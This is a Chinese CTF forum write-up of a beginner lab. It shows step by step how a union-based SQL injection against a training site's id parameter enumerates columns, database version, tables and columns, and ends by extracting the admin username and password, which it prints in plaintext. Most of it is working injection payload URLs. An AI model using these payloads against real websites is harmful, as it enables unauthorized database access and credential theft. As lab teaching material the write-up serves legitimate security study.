公开课第一章 WP

漫天星宇   ·   发表于 2018-08-12 10:29:11   ·   CTF&WP专版

第一步:测试是否存在注入点,用and语句测试。

  1. http://120.203.13.75:6815/?id=1 and 1=1 
  2. http://120.203.13.75:6815/?id=1 and 1=2

一网址可以正常显示,二网址则无法显示,所以推断有注入点。

第二步:猜测字段

http://120.203.13.75:6815/?id=1 order by 2

http://120.203.13.75:6815/?id=1 order by 3

 

order by 2可以正常显示,order by 3显示不出来,所以该表存在2个字段。

第三步:找到页面中数据输入点。

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,2

显示2,说明2这个位置是输出点。

第四步:查看版本和当前数据库

http://120.203.13.75:6815/?id=1 and 1=2  union select 1,version()

http://120.203.13.75:6815/?id=1 and 1=2  union select 1,database()

第五步:通过数据库版本,查看目录表

1.查看所有表名:

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

2.查看字段名字

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.columns where table_schema=database()

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database()

然后知道了username和password在admin中

第六步:查找密码

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,concat(id,'.',username,'.',password) from admin 

用户名:admin

密码:hellohack


打赏我,让我更有动力~

0 条回复   |  直到 2018-8-12 | 1299 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.